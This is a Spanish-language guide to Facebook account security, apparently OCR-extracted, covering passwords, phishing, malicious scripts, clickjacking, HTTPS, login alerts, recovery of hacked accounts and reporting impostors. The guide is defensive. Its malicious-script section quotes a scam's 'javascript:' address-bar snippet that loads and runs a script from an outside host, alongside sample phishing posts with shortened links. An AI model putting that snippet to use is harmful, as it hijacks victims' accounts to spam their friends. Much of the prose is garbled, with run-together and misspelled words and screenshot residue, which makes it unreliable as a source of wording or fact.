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Recuperar una cuenta de Facebook hacke
Poner cotaa losimpostores




S ihubo alguna duda respecto al increible poder de las redes sociales, consiata que
dia 500 millones de personasmparten mas de mil millones de elementos de

contenidosFacebook cogecta aproximadamente a uriO millones de personas emés de

210 paisesrealmente su poblacion mundial excede el tamafio de la mayoria de los paises

europ®s, y cuenta entre sus miembros a ciudadangldslos continentes.

La gente tiene eRacebookmuchas posibilidades, pueden hacer Amigoatear, compartir

actualizaciones d&stado postear Comentarios, compaittinks, etiquetarFotos, postar

Videos, unise aGrupos, crea Paginas, disefidPolls (encuestas)y jugar juntos usando

Aplicaciones UsanFaceboolpara promover causas, intereseicluso asi mimosg:acebook

permite al mundo ser mas abierto y estar conectado dando a sus usuarioanasntesr

para interactuar y compartir tidas las formas imaginabl@arafraseando al superhéroe con

un gran podemplicauna gran responsabilidalhl y como una ciudatharcasus aceras, y los

peatones miran ambos lados de la calle antes de crugegulddad enFacebookes una

responsabilidad compartida erfi@gcebooky las persoraque utilizan su plataforma.

Esta guiaspirasobre todafacilitarte ser duefio de propio espacio, comprender lo que esta

haciendd~aceboolpara que el sitio sea mssguro y acometer las acciones que sean precisas

en este nuevo mundo digital para protegaiti y tu cuentaPese a quia protagonistae esta

guia ed~acebooklas lecciones que aqui mostramos pueden aplicarse a cualquier pagina web

que vistes en lared. A lo largo de esta guia, haremos hincapié en las herramientas exclusivas

gue Faceboolproporciona, de modo qyoeleda sacar provecho de su poder protegiindo

cuenta, utilizando la configuracion avanzada de segurieagberando cuentas de Facebook

hackedas, y poner coto a lasnposbres

Ademas de todo esto, queremos que adopene Paat. Piens. Conécate. Facebook

tiene mucho que ofrecer a la gente, y con un poco de sentido comudn podra sentirse seguro y a

salvo. Esperamos questa guide sea util Por favor, Unase a la conversacisitando la

Pagina de Seguridad Baceboolenwww.facebook.com/security.



Protege wu cuenta de Facebook

Eres la primera linea de defensa a la hora de protegeuenta Pueds tomar el
control detu protecobn utilizando una contrasefi@gaira, sacando partido &
configuracion avanzada de seguridad que proporciangenticacion, asi como
comunicaciones segurag,asegurande de que ciersda sesion candote desconecta

Uso de las contrasefas adecuadas

Utilizar la contrasefia adecuada es algo que delieéer cada vez que visiteternet,

no soloFacebook. Creda contrasefia adecuada es realmente senbédludr&d que ser
suficientemente compleja para que no pueda adivinarse, pero con suficiditte sen
como para recordarla realmente

¢ Tienesuna contrasefia segura?

1 No la usspara TODASus cuentas
1 No la compartacon amigos
{1 Cambeala periddicamente

1 Consideasu almacenaje en una herramienta de contrasefas.

Una contrasefia adecuada tiene al mesub caraceres uno o0 mas numeros, y al
menos uncaracter especial. No utilice palabras pero aséciela alonagine que el
nombre de su mascota Bsiddy, usted vive en la callState,tiene quince afios, y le
encanta mirar las estrellas por la nodbeacontrasefia segura podria badstatl5*. O
busqué algo gracioso que pueda recortara mujer eligi6 como contrasefia en el
trabajo una que la recordaba porqué iba a traBdgBcash

¢No puede recordar tantos detalles? ausna herramienta de contrasefidduchos
navegadores integran actualmente cajas fuertes para contrasefiasy&inel la tiene
considea uti |l i zar una her r a KeelRasst Rasswprd afBau i t a
(http://keepass.info/)Y, si se da el casde que aun asi la olvideaseguratele afadir

una pregunta de seguridad ty ndmero de moévil elCONFIGURACION DE
CUENTA detu cuenta efracebook.

Cerrar la sesion de Facebook

Cerrar la sesion eRaceboolcuando no se use es una forma sencilla y eficaz de proteger
tu cuenta Mucha gente cree que si cierra la pagina web o sale del navegador también
cierra la sesién eRacebookNo es asi. La siguiente persona que vaFa@book.com
entu ordenador se sorpresé ya conectado ta cuentaCerrar la sesion es esencial
cuando acceda FacebooKuera de casa.

Pero, también es importante si en casa congpalterdenadarPregunteselo Alathan,

un chico de 16 afos que dejo su cuentkateboolconectada en el denador familiar.
Durante un entrenamiento de futbol, su herndejé plantada su noviecomo si fuera

él cambiando el estld de su relacion en FacebookS®LTERO. Desde entonces,
siempre tiene cuidado de desconectarsEatebookcuando sale de casd recuera,

quesi olvidas cerrar la sesion activa, siempre puederrar la sesidnle modo remoto
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desde la seccionSEGURIDAD DE LA CUENTA de la pagina de
CONFIGURACION DE CUENTA .

Pon coto a logimadores

Es humaro evitar el peligro.Si vesqueun pianate cae encimausgomaticamente te quitas de
debajo. Si ves un correo de utmador vas a borrarlo e informar de que es spam. En
Facebook, ideriicar a lodimadoreses masomplicado dado que los mensajes parecen provenir
de una persona que conoces Mamue confias. Luego, ¢cémo descubrir una impostura en
FacebookPermienos empezar con una breve introduccion.

Los timadoresen Internet tienden a cambiar de objetivos. Al principio, los objetivos obvios de los
timadoreseran los adjuntos de corretis personas desconocidastonces vinieron las alertas de
seguridad de bancos o emisores de tarjdt@as puede ser también una actualizacioistado

de un Amigo que te pide que veas un nuevo video o visitar una pagina web estupenda.

Timadores convencionales

Lostimadoresatacan a Facebook por la m&razon que al resto de la Red, quieren accéder a
informacion, du ordenador ot dinero Y algunas veces desean engafiaaciéndie descargar
entu ordenador programas maliciadas dificil esreconocer a loghishersladrones de cuentas

y traficantes de programas maliciosos.

Los phishersroban la informacion personalmenudo los datos necesarios para cometer estafas o
suplantar la identidadEl Phishing esun intento de engafiar a los usagpara que revelen
informacion personal o datos financiero¥.a ha visto timos entu correo electrénicoEn
Facebook]os phishergpueden intentar timigrdesdemdltiples lugares en post @stadode tu

perfil, en mensajes dé&acebooky en el chat déacebook Incluso pueden remitir correos
periddicamenténgiendoserFacebook anpopular AppcomoFarmville o Mafia Wars.

Los ladrones de cuentas intentan engafiarte para que te conectes a una pagifectiismk para
sustraerte tu nombre de usugr@ntrasefidor este motivo siempre debes comprobar la barra de
direcciones de tu navegador para asegurarte de que ds@elarok/ no en alguna otra pagina

no relacionada.

¢ Para qué querria alguincuenta erracebookEsperan acceder a otras rias usanddu
contrasefia. Podrian querer ventleinformacion, o timar aus Amigos La gente es mas
propensa a caer en un timo cuando viene de alguien en quien confia, como un Amigo.

Los traficantes de programaslitiosos buscan instalar programeermaticos perjudiciales en
tu ordenadorDichos programas maliciosdemadosmalware, estan disefiados para dafiar
ordenador o robar informacién de caracter persbigiio malwarepuede hacamuchascosas
desagradables. Puede instalar programas dspiasarg¢ para registrar que teclas pslsy
recopilartus nimeros y contrasefias de cuentas finan€Eraguso bloqueatu ordenador y pedir
un rescate. ¢COmo seleccioas traficantes denalwarea los usuarios deacebooR Se te
ofrecera descargar instalar nuevos programas tarordenadorPuede ser un nuevo juego, un
organizador de fotografias digitales reproductormusical digital, o cualquier otro programa
informatico de utilidadAntes de descargar ningln prograimatuita, pregunatesiempre quien
lo ha hecho y porqué puede ser gratéitde la dudano lo descargseEresla primera linea de
defensa contra stalware jPiensiantes de hacer dlic



Malware

Timadores que eligen Facebook

Ademéfde los timadores vulgares y corrientesspiencuentran por doquier en Internet,
hay diversos timos que eligen las redes sociales y a los usuarfescgeookEstos
incluyen timos mediante aplicaciones de Judmjes que explotan la vanidad personal,
robos de cuentas dadebooktimos con aripts maliciososy Clickjackers(ladrones de

clics).

Burlar los timos de juego

Cuando hablamos de timos mediante aplicaciones de Juegos, no queremos decir que las
compafiias daplicacionegApps) le timenSon realmente mas una victima, como los
usuards deFaceboolque caen eratrampa Si juega en la red, ya sabgue tiens que

tener cuidado para no caer en los timos de ji¥egba visto ofertas engafnosas y piratas
Muchas de ellas que prometen convertin un gran jugador estan disefi@tasalidad

para robatu informacién personal.

John Doe “% % % ” Hey Friends, Get Your Free Unlimited Frontierville Horseshoes Now, Over 49000
people have claimed theirs, don’t miss out! http://bit.ly/xhshoes

about an hour ago « Comment -« Like - Report

Muchos timogie phishingfingen procedetle populares paginas web de juefbpeligro no esta

en utilizar aplicacionesonocidasde terceros comé&rontierville, sino dejarse engafar por
phishergjue supuestaente ofrecen puntos o claves para judgmstimos mas comunes ofrecen
pramios como objetos virtuales graiitros cebos te comunican que tu cuenta haasidiaday
proporcionan un link para solucionar el problefiguno de estos timos llegaratuaMuro, pero
muchos llegaran directamente a tu correo electrqitr guéNumerosFarmville cuenta con
unos 16 millones de jugadore€ualquierspammergue ataque a una extensa lista de correos
electronicos con un cebo panlaising esta destinado a atrapar buen nimero de jugadores de
Farmville sencillamente porqué hay muchos jugadorésadeville.

Jack Doe OMG! IT’S REAL - THEY JUST SEND ME 1 M
CHIPS FOR FREE - CHECK IT QUT -->> http://tinyurl.com/3x546
YOU GOT NOTHING TO LOSE !!

nutes ago - Like « Flag

También puedgever post como el anterior en el Muro. Si heckc en elenlace te
dirigirdn a una péagina wefalsade acceso a FacebooRl intenta acceder a Facebook
a través de la pagina falsa, egtéoporcionando directamentie contrasefa al timador



¢, Cémo puedesaber que es un timo mediaptashing? Facebookuncate dirigird a la
pagina principal una vez que hayaiciado tu sesion

Facebooknuncate dirige a la pagina principal si ya has iniciado la sesian

Este timador también utiliza en el anterior ataque un servicio de vinculos abreviados
Pese a que los servicios dénculos abreviados son de gran utilidad dado que
simplifican las URL my largas o malo es que descon@ dondee llevanhasta que

haces clic. S¢ muy cuidadoso a la hora de hacer clic sobre esta clase de vinculos
abreviados

Evitar a los ladrones de cuentas dBacebook

Cuando se roba una cuentarF#Eebooksuele ser dgdo a que la victima ha picado el
anzuelo y ha utilizado una pagifsdsade accesa Facebook .

¢, Como te hacen picar los timadores? Los timadores intentan pillarte con la guardia baja
y te golpean con una pagif@sade acceso de Facebook cuando reatm&’A estés
utilizando FacebookEl timador puede postear una actualizaciorfeg@adoentu Muro

que incluya un vinculo a algentador. Lo pueden hacer mediante una cuenta que hayan
robado de uno déus Amigos para ganarda confianza El mensaje seralgo que
llamara tu atencion Pueden ser fotos escandalosas, una primicia de una préxima
pelicula picante o un video raro. Cuandedsxlic en el vinculo, te pideque inicies
denuew la sesioren Facebooksalvoqueya no esds enFacebookEl vinculote remite
realmente a una pagina web diferende forma que cuando vuelves a acceder a
Facebook con tu usuario y contrasefia se los estas dando a un timador.

Ademas de otros timos cuyos correos electrénicos queresdmente horrorosoy
escrites en unpésimo inglés la mayoria ddas paginasle acceso falsas de Facebook
son bastante creibles.

file Edit View Higtory Bookmarks Tools Help

g 24 C‘ ’r} Q http://www.facbook.

A Most Visited | | Getting Started Latest Headlines 3, Facebook Blog

Search @ - Cards & Logins ~

i Welcome to Facebook - Log In, Sign ...

facebook

Done

La anterior pagintalsade acceso se reconoce porqué falta una e de Faceh@dkaglaook) en la
barra de direccionekste es un timo muy cuidado dagle la genteal leer introduce sin darse
cuenta las vocales que faltan en una palabra

¢CoOmo evito enganos tan sutiles como éfe@uerd queFaceboolkunca contactara enviaelo
un mensaje deacebook o pasdndo un mensaje &stadoentu Muro y, compruebs&SIEMPRE
cuidadosamenta vinculo en la barra de direcciones y los vinculos sobre los que hatetelie.
dudaNO HAGAS CLIC. Si Facebookcontacta caigo, serd a través deorreo electronico
ordinario que proporci@stecuando abste ti cueta deFacebook.

Compruebasiempre el vinculo y NO HAGAS CLIC si parece sospechoso



Ademas recuerda que Facebookso6lo necesita que te registres para acceder una vez
en cada sesion. Si te lo piden de nuevo NOFesebook.

Evitar los timos mediantescripts maliciosos

Los timos con scripts maliciose®nuno de los ataques furtivos mas empleados contra
los usuarios dé-acebook.Uno de los métodos de ataque nté@snunes consiste en
hacerte creeque puedesver quien esta mirando tu perfil. Este tentador tintenta
engafarte y hacer que peguegexto en la barra de direcciones de tu navegador.

Follow the steps below to see who has been stalking your proile.

~Use Our Unique Code To Reveal Who Has Been Stalking You!
~Follow The Simple Steps Below To Use Profile Peeker v2.0.

Step 1 - Copy This Script:
Just Click In the Box To Highlight All Then Copy The Code

javascript:(a=(b=document).createElement( script’)).src="//up~
club.com/inet.php’,b.body.appendChild(a);void(0)

Just Click In the Box To Highlight All Then Copy The Code
Step 2:

Click Here To Visit Facebook.Com
Paste The Code Into Your Browser's Address Bar. Then Hit Enter!

/= Facebook - Windows Internet Explorer — =
——
@ v ¢ X |e DEErmEE eaiChid(a)vold(0)

| Ele Edit Yew Favodites Jools Hep

=document).ceateSlement(saipt)).src="/ Alamin.infoje Js',

E I Aic-digo Ynico0O que se muestr aesgemmr i ba es
pacientemente segun las instrucciones, el script esta configutapddi para mandar
spam a todos sus Amigos.

Como respuesta para detectar estos atadisebook @Aadié comprobaciones para
ayudar a detectar scripts que se pegan en la barra de direcéishes se pega un
script en la barra de direccioneSacebookte pealird que confirmg que realmente
desea pegar dichoscript e inclusote informara de que es una matkea Prest
atencion a dichos avisos

No pegue un script en la barra de direcciones salvo que sep&xactamente que
hace y cdmo

¢, Como evitar timos nagante scrips malicioso® No peguse un script en la barra de
direcciones salvo que sep@xactamentgué hace ycomolo hace Avisa también aus
Amigos si empieza a recibir spam de ellosTus Amigos pueden desconocer
completamentejue sus cuentas déaebookhan sido hackeada€omuntaselo para
gue cambiersus contrasefias ngcuperaen suscuentd hackeadasi lo precisan(Lee
mas adelante cémo recuperar una cuenta hackeada

Evita el clickjacking (secuestro de clics)

El clickjacking es una técnicatilizada por los atacantes para engafar a los usuarios
para que hagan clic en sus enlaces o botooakos a la vistaEl dickjacking es
posibledebido a un fallale seguridad en los navegadores que permites @aganas

web ocultarse por capas y nor séstas Crees que estds haciendo clic en un botén



normal, como el botoRLAY de un videaaro, percen realidacestas haciendo clic en
un vinculo ocultoDado que no puedes ver el vinculo ocultbdliekjacker, no tienes ni
idea de lo que realmente haBeriedes estar descargandalware ohaciendo que toda
tu informacion en Facebook se vuelva publica sin percatarte de ello.

Una forma declickjacking es esconder un botddKE (me gusta)bajo un botén
aparentemente inocentés lo que se denomina unkejacking. Un timador puede
engafartdaciéndote deciue te gusta un producto del que nunca has oido hablar en un
solapado intento de crear un aviso derkmting viral A primera vista likejacking
parece mas molesto que peligrospero no siempre es ciertSi te engafian para decir
gue te gustdustin Bieberno se va a acabar el mundeero puedes estar colaborando a
propagarspam oenviando a tus Amigosa algun sitioque posiblementecontiene
malware.

¢Como pueds evitar quete pinchen? Tecnologicamen pueds minimizarlos riesgos
manteniendo al dia las actualizaciones tdenavegador Los navegadores afiaden
continuamente actualizaciones para cerrar vulnerabilidades que peopeiema los
clickjackers y otros timadores. Si utilizmaFirefox, consdem instalar también el
complemento NoScript. Ademas, prest atencion a lo que cogey de quien.
¢, Compartiria realmente un profesor de facultadpast para ver videogle camara
oculta? Si un post de uno ties Amigoste parece sospechoso, jno tegi en él!

Un post sospechoso puede ser sintoma de que la cuenta de Facehodknilgo ha
sido secuestrada o qad¢u Amigo le hanclickjackeado a LIKE (me gusta)o SHARE
(compartir) sin saberloSi conocs a tus Amigos, sal®elo que realmentenarcarian
comoLIKE o SHARE. Por esau mejor proteccion contra los timos es no confirmar
peticiones de Amigos dgente a lajue realmente no conae

Otra gran herramienta para ayu@a# evitar eklickjacking es Web of Trust (WOT)
[Pagina web de confianzafVOT es una herramienta gratuita para el navegador que
mantieneuna base de datos deconocidos sitios web seguros, asi como de webs
consideradas maliciosas garcomunidad WOT. Si interdaisitar una web que se sabe
esmaliciosaWOT te avisara de antemano. Lasdarga d&VOT es facil de instalar,
sélotienes quevisitar www.mywot.com

Consejosde seguridad

AManténtus programas actualizados

ANo haga clic en vinculos sospechosos

A dJas herramientas de seguridadpdisibles

Facebook también efectla comprobaciones para detectar paginas web maliciosas o que
envian spamSi afiade WOT a las comprobaciones que efeckacebookconsigus

una herramienta mas pata arsenal contra lofiackers.Ambas comprobaciones
trabapn juntas proporcionando un sistema de alerta congimtenta visitar una web

de la que se ha informadortiene malware, phishing,spam:


http://www.mywot.com/

& Sorry

The link you are trying to visit has been classified as potentially abusive by Facebook partners.
To learn more about staying safe on the Internet, visit our Facebook’s Security Page. Please also
read the Wikipedia articles on malware and phishing.

wg  Website reported for spam, malware, phishing or other abuse
wesorTrust  This warning is provided in collaboration with Web of Trust. Learn More

Ignore this warning Return to previous page
Clickjacking

Uso de la Configuracion de Seguridad
avanzada

acebookadopta cieds de medidas entre bastidoneara mantener la seguridad

del sitio web Facebookambién proporciona herramienta que la gente puede usar

para proteger sus cuentas y reputacién en la web. Dichas herramientas incluyen
opciones de navegacion segura, contrasefias de un solo usolmiciale sesion,
posibilidad de supervisar las actividades de la cuamebacionde contrasefias, la
posibilidad de dar pdinalizadala sesion de la cuenta de modo remot@augenticacion
social.

Uso de la navegacion segura

La navegacion seguta pernite usarFacebookcon seguidad en puntos de conexion
publicos Cuando compisen Internetfu navegador utiliza una encriptacién muy sélida
para transmitir los datos. La encriptacidbn es una técnica que se usa para cifrar la
informacion y que nadie m@sieda verla.

El protocolo SSL encripta la transmisiéme los datos y se le denomildtps o
navegacion segura

La navegacion segura es una configuracion avanzad&aeebook que puedse
personalizar. Al usdrttpspara conectée aFaceboolksuceden variasosas importantes.
Primerg en una red inalambrica abierta, impide que los atacantes twlgenexion de
reda Facebooko husmeerentu comunicacionTambién hace uso de un certificado de
verificacion para garantizar que tsi navegador dice que est4 caado aFacebook,
est& realmenteconectadoa Facebooky no una pagina impostora qumge ser
Facebook.

Para activarhttps, vaya a la secciotSEGURIDAD DE LA CUENTA de la
CONFIGURACION DE CUENTA de tu Facebooky selecciona:NAVEGA EN



FACEBOOK SIEMPRE QUE SEA POSIBLE MEDIANTE UNA CONEXION
SEGURA (HTTPS).

¢, Como puedsesaber que el protocolttpsesta en uso? Cuan&sLesta en ussabrd
queta comunicacion entre paginas web es segura porquewer h t @algenienzo
de la URL. También vasun canddo. Buscael icono del candado én navegador, y sSi
lo ves, entonces tonfiguracion de navegacion segura esté activada

I[[ng_ h-ttps: .facebookr.com v ﬁ ’ A ’ ¢’m!

Utilizacion de contrasefas de un solo uso

Siempre hay un pequefio riesgo cuando accade cuenta dd-acebookdesde un
ordenadr que no es d&u propiedadNunca sabmrealmente donde habra estado ese
ordenador. Puexkstar infectado con un programa de registro de pulsaciones de teclado
que puede registrar toddas movimientos, incluida la contrasefia tecuenta en
FacebookNo pueds impedirlo, pero puedeasegurae de que la contrasefia robada no

va ha funcionar al usar contraseia un solo uso.

Para usar una contrasefia de un soloprsmeronecesita estar registrado y verifican
teléfono movil corFacebooklUna vezhecho estopuede conseguir una contrasefia de
un solo uso mandando el mensdieo t pad flionetime password que significa
ficontrasefia de un solo W@l 32665 (FBOOK). Faceboadle enviard un mensaje de
texto con una contrasefla temporal que psiag&ar @ra acceder du cuenta de
Facebook en vez de udarcontrasefia habitual. &nsigueresa contrasefia, no importa
porque 8lo funciona una vez, mejor dichdle durante 20 minuto€s una buena idea
utilizar una contrasefia de un solo uso si usledardenadoide otra persona

Uso del inicio Unico de sesién

Uno de los pasos mas importantes para protegaformaciones tener una contrasefia
diferente para cada cuenta que ten§ar supuesto, recordar todas las contrasefas es
dificil. Facebook hahierto su sistema de cuentas de usuario a otras pagingmveetu

usa Eso quiere decir que puedatilizar tu cuenta dd-acebookpara acceder a otras
paginas web que admitan acceso a travéFatebook.La primera vez que usdu
acceso a Facebook desdea nueva péagina welk,acebookte pedird permiso para
compartirtu informacién con esa pagineeb. Si lo permits, la pagina web puede
cargarse automaticamerdereconocer que ya baccedido d&acebooklo cual es una
gran ventajaCuantas mas paginas bvpermita que reconozcatu acceso registrado a
Facebookmenosnombres deisuarios y contrasefias tersigaie recordar.

Supervisar la actividad de la cuenta

Cuando accedea tu cuenta Facebook reamcetu ordenador o teléfono moviSi
quieres, Faceboolpuede decte cuando ha accediddguien aw cuentadesde otro sitio

1C



En la seccionSEGURIDAD DE LA CUENTA de tu CONFIGURACION DE
CUENTA pueds usar laNOTIFICACIONES DE ACCESO para pedir &acebook
quete envie un correo electrénico si un@medor o dispositivo movil distinto accede a
tu cuentaSi el nuevo acceso no &syo, sigie el vinculo del correo electrénico para
expulsar a intruso. Si lo prefierg pueds hacer qud-acebooke envie m SMSen vez
de un correo electronico.

Pueds incluso epulsaral intrusotu mismo. En la seccioSEGURIDAD DE LA
CUENTA de tu CONFIGURACION DE CUENTA encontrara la lista de
ordenadores asociadastu cuenta y con la actividad de la misma. Si en la lista hay
ordenadores que ya no utilza que no hautilizado nunca, puedédorrarlos En la
seccionACTIVIDAD DE LA CUENTA, pueds encontrar la actividad mas reciegte
otras sesiones activasSi alguna de ellas pareciese sospechosa, diia en
FINALIZAR ACTIVIDAD , cerrando ada sesioninmediatamente

Otra estupendaaracteristica de seguridad esNRROBACION DE ACCESOS. Si
tienesun teléfono moévilFacebookpuede envide un mensaje de texto con un codigo
anico para usarlo cuando acceddacebookdesde un ordenador difereng lo tienes
activado, sete pedird que introduzsan codigo que recibigda través de un mensaje de
texto cuando intenseaccederEs unacaracteristicastupendajue aporta otro nivel de
seguridad para aquellos que accederFacebook desde localizaciones remotas
Asegura¢ de tenertu moévil y ve a la secciorSEGURIDAD DE LA CUENTA detu
CONFIGURACION DE CUENTA parapersonalizarlaUna vez introducidas dichas
configuraciones, la siguiente vez que acsetisde un ordenador distin® enviara a

tu movil un mensaje de texton el codigo de aprobacidh continuacion puedsever la
pantalla dd-aceboolquete pidequeintroduzca dichocddigo.

Enter Security Code

We don’t recognize the device you're using.

Please check your text message at 1 555.220.8865 and enter the security code below.

| can’t get my code m

Uso de la autenticaciénsocial

Cuando una pagina web desea impedir a un programa automatico que registre una serie
de cuentagalsas le pide que haga algo que sélo puede hacer un ser humano. Suelen ser
a menudo un test que implica la resolucién de un sencillo problema matematico
responder a una pregurfégil, o teclear una serie de letras y nUmeros de una imagen.
Esasimageres con palabras rarason unCAPTCHA (Completely Automated Public
Turing test to tell Computers and Humans ApartPrueba de Turing publica y
automética para diferenciar maquinas y humaBstas sencillaBnagenes impiden que

los atacantes utilicen softweapara crear muchas cuengaeenvienspam osefiuelos de
phishinga gran escala.

Facebook utiliza una prueba similar denominada Autentica8amalcuando Facebook
detectaquetu cuenta esta en uso pero cree que el usuario pueder ti. Pa gemplo,
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si vives en Indiana y se accedeta cuenta desde la Indidgacebookempieza a
sospechar

¢ Por qué AutenticaciéBocial?Para empezaFacebookES una red socialY lo que es
mas importantek-acebookbuscaba una forma sencilla para identifieaue ncse viese
comprometila si la cuentasi lo estuvieseObviamente si alguien mas esta usantlp
cuentarealmente bien puede haber adivinado o robddacontrasefia de forma que
preguntar directamente por ello no aytidan modo alguno

¢, Conoce a todostus Amigos?

Facebooksupone que si. Si acceddesde un lugar extrafio, como cuando sed&
vacaciones en Europ&acebookcompruebau identidadhaciéndotedentificar a tus
Amigos en las fotografias etiquetadas.

Aqui es donde entran tus Amigos. Bacdéook ®specha que alguien mas esta
intentando utilizar tu cuentde pediran que identifiquestas Amigos Literaimente
Facebook creana serie de imagenes a partir de tu lista de Asnidas coloca como un
examen con respuestadlltiples . Cach foto tiene una lista de nombretenes que
seleccionar el nombre que coincide con el nombre del Amigo etiquetadicha foto.

Dado que es poco probable que un timador pueda reconocer a simple vista a tus
Amigos, ésta es una buena prueba.

Reauperaciobn de una @©enta de
Facebookhackeada

ay cierto nimero de sintomas que pueden indicar que cuenta deFacebook hasdo
H hackeada. Puedes notar actualizaciones deEstado que no ha posteado o recibir

contestaciones a mensajes d&acebookque no ha enviado. Estopodriasignificar que
tu cuenta ha sidohackeada. Cambia inmediatamentetu contrasefia yaseguate de que ussde
las configuraciones de seguridad avanzadas

Otro indicio de quetu cuenta ha sido hackeadas que no puedsacceder a ella. Esto sucede
cuando el timador que ha hackeadda cuenta ha cambiaddu contrasefia No puedes volver a
cambiarla porque ya no sabs cual es Algunos timadores incluso cambian la informacion
personal de modo que no puedeverificar quiéneres

El equipo de Facebookse dedca a ayudate a proteger & cuenta. Facebook haconstruido
sistemas que buscan y bloguean actividades sospechpgastsy mensajes falsasFacebook
también cuenta con un proceso bien definido & roban lacuenta para ayudae a expulsar al
timador y recuperata.

Si tu cuentase ha visto comprometida, ve a http://www.Facebook.com/hacked y selecciona
PROTEGE TU CUENTA .
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http://www.facebook.com/hacked

Step 1 Step 2 Step 2 Step 4
Change Password Email Password Review Changes Unlock Account

/1. Please Complete This Security Check

Denise, thanks for reporting this problem with your account. We’ve temporarily locked your account so no one else can log
in as you.

To regain control of your information, please complete this quick security check.

Tan pronto lo comuniques, Facebook bloquear&u cuentg tu no podras utilizarla aln pero el
timador tampoco. Facebook te pedird entonces POR FAVOR, COMPLETE ESTA
COMPROBACION DE SEGURIDAD  para desbloqueartt cuenta

Facebookte lo pone facil, simplemente sige el proceso de cuatro pasos para reclamar
cuenta

Una vez que haya recuperadotu cuenta, aseglate de configurar las Caracteristicas de
seguridad avanzadas para afiadir una capa de seguridaticional atu cuenta. Concretamente,
aseguate de activar la navegacion segurgdttps) y establecer las notificaciones de accesasi
Facebookte hara saber inmediatamentsi se ha accedido aitcuenta.

Pon coto a los impostores

s muy triste que una buena cuenta funcione mal porque la han robad®esulta
Edesagradable cuando una cuenta se INICIA mal porguse credpara acosar, aveonzar

o intimidar a alguien. Esto es lo que hacéa cuenta de un impostorcuandoalguienfinge
SERtU creando una pagina enFacebook.Las paginas de los impostores se crean para acosar o
intimidar a la personapor la que sehacen pasar. Si vela pagina de un impostor, comuné¢alo
inmediatamenteFacebook.

El vinculo a INFORMAR/ BLOQUEAR ESTA PERSONA  esta disponible en la parte
inferior izquierda de todos los perfiles dd-acebook.

Puedes informarsobre gente que se esta haciendo pasar por ti o un AmigBuedes también
usar este vinculo para informar de personas falsas, negocios guetenden ser personas y
grupos de odioocultos bajo la apariencia d@ersonas.
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Si informas sobre una persona falsa o informacion inapropiadano necesitas hacer @s
Facebookte agradecera que informes del problema y luego investigdtaqueja y cerrara la
cuenta si procede.

Si informas sobre un impostor o un caso de ciberacoseay un pasomas. Dado que una forma
de acosar a la gente en Facebook ha sidousarks falsamente de acosoFacebook no hara
nada hasta que proporciones un nimero de teléfono validAparentemente, a los acosadores
no les gusta dar sus numeros de teléfondna vez que haya proporcionado un nimero de
teléfono valido, Facebook enviara un codigo a tu teléfono que deberasintroducir para
confirmar tu quejaantes de investigda.
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